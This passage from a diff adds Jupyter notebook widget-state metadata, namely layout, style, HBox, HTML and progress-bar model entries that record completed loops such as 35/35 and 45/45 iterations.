+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "95b5dce9d5e140e78849c5aae374f27c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_606165cb16e74f20a46035ca4ba95e5c",
+              "IPY_MODEL_a83bca5872324f19a6a024c536141795",
+              "IPY_MODEL_0f79744697af4a53835dee31a1b4f748"
+            ],
+            "layout": "IPY_MODEL_7dd5be64da7a41f8875765186bdd0b10"
+          }
+        },
+        "95ebc05ee7f640af86a54aadcd40ddbe": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ed5435b53cb646d080918c6720e222bd",
+            "placeholder": "​",
+            "style": "IPY_MODEL_cd0e13f6e6dc444c80f7464747846e21",
+            "value": " 35/35 [00:05&lt;00:00,  6.92it/s]"
+          }
+        },
+        "96aed170045943a28f42d6b825c66cf3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "970fd0cc56d748ccb2ee2287b33ec5fa": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_75193c4a20844ca2988c9f9a3ffc66c5",
+            "max": 25,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_c9ca13d641734c4e956555fcbfe2156a",
+            "value": 25
+          }
+        },
+        "9d8254d8917c4874b980ae8e4c72b324": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9e67bf17f1d64768954b47e3e1001b41": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "9f6a32585a514034975b71b2954b639f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "a2bc87dd43e14ee0abba026d57cb349f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "a2d89cde3ec1423798f3591a2aadbaef": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_62dbb831c6af4a369214dbe8c8a41c77",
+            "max": 45,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_bb79f73fb99f4d5885400f7f69c8edcc",
+            "value": 45
+          }
+        },
+        "a3073940c26743b79c7477cbc92cb8e0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "a3a361916b864a3cadb650a563842b16": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a548fd49eb4a451386b340a677f93073": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3394e6e9924e4f2bb791976994169806",
+            "placeholder": "​",
+            "style": "IPY_MODEL_81b7286bea0841e6b54dba275f5c71b5",
+            "value": "100%"
+          }
+        },
+        "a654808c82cc4672a19728ac22f26e5e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a83bca5872324f19a6a024c536141795": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_70b8ac7c48d14a08b0d0eb840d37d410",
+            "max": 35,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_650ea058ba304da9b8febd6a72e10260",
+            "value": 35
+          }
+        },
+        "a9651ab87eae4180a9729b7e28f11376": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "acc1e1e48c2b4c0a8c765978c5211c4a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_fff5255694d74756a08b556c51affbd9",
+            "max": 5,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_890360c4bd374d74943cb359ba838ab7",
+            "value": 5
+          }
+        },
+        "af2c00007cd34322be1faf9aa4925e2d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "af74c20beba94d84b5cf97818b6bd191": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "b168918d31b34653897402751e9bbecc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_ed9bd4313a1a477a820abec0b6f911f6",
+              "IPY_MODEL_889529d86c064f73844e8074765f2cf0",
+              "IPY_MODEL_95ebc05ee7f640af86a54aadcd40ddbe"
+            ],
+            "layout": "IPY_MODEL_a654808c82cc4672a19728ac22f26e5e"
+          }
+        },
+        "b274cfa1678e49938e163e2d17d7f179": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "b2a6584f8d6f4c2ab221f8f90a1a560a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "b3c65e0ad46a4fdcb639e3c98983f1b7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b3dba2bfc0c9401a908c7a25a8fbe952": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "b6001677e22a4bf1b3565b55bebf0be1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b86219c801bb4d2e8395ce17518fa432": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_96aed170045943a28f42d6b825c66cf3",
+            "placeholder": "​",
+            "style": "IPY_MODEL_2cc5cba3a49842fab50519d9968a4e53",
+            "value": " 5/5 [00:02&lt;00:00,  2.75it/s]"
+          }
+        },
+        "bb79f73fb99f4d5885400f7f69c8edcc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "bf5ffbefc35449659cc9aae956e9a292": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7d60b538a6e248369d2df053e9548a14",
+            "placeholder": "​",
+            "style": "IPY_MODEL_a2bc87dd43e14ee0abba026d57cb349f",
+            "value": " 35/35 [00:12&lt;00:00,  3.00it/s]"
+          }
+        },
+        "c2bf3e4561894b4f98047c14c8c6fcaf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_91cb9127553d41719924473661d25b51",
+            "max": 45,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_040ee5bc127a48a3b3a8727aefac4ae8",
+            "value": 45
+          }
+        },
+        "c33aa07ac5a741adbef140e57b9702e2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_3b4ca1a9965f4aeabff645cc5d6aa92e",
+              "IPY_MODEL_71d6d4c2b61d4739ae78f77f4bababc3",
+              "IPY_MODEL_80e10875f83e4889ad1840255ef9c49d"
+            ],
+            "layout": "IPY_MODEL_e7da8d3d63f740968550b2852880ccc1"
+          }
+        },
+        "c9ca13d641734c4e956555fcbfe2156a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "cd0e13f6e6dc444c80f7464747846e21": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "cdcc3550ed8340ebb2e8f0f903500c9c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_42b12e19632c48e8809ccc1dfde61417",
+              "IPY_MODEL_acc1e1e48c2b4c0a8c765978c5211c4a",
+              "IPY_MODEL_b86219c801bb4d2e8395ce17518fa432"
+            ],
+            "layout": "IPY_MODEL_3ff6eda7d146478880b0d26670caa23c"
+          }
+        },
+        "cef46b7bd56547bd87478e9c3eaa2aa7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "d75aad33f36b432c8175e076ce4cc99e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d97e3dc3965247c3b5f19925e1a481f2": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "db69c9d0fd214da8b42b854d71b87f54": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5e4d7e7e89cf4b8e9cab8d34d88d662e",
+            "max": 35,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_5066ac8781ec4f00b27ec6be27eb8506",
+            "value": 35
+          }
+        },
+        "e7da8d3d63f740968550b2852880ccc1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
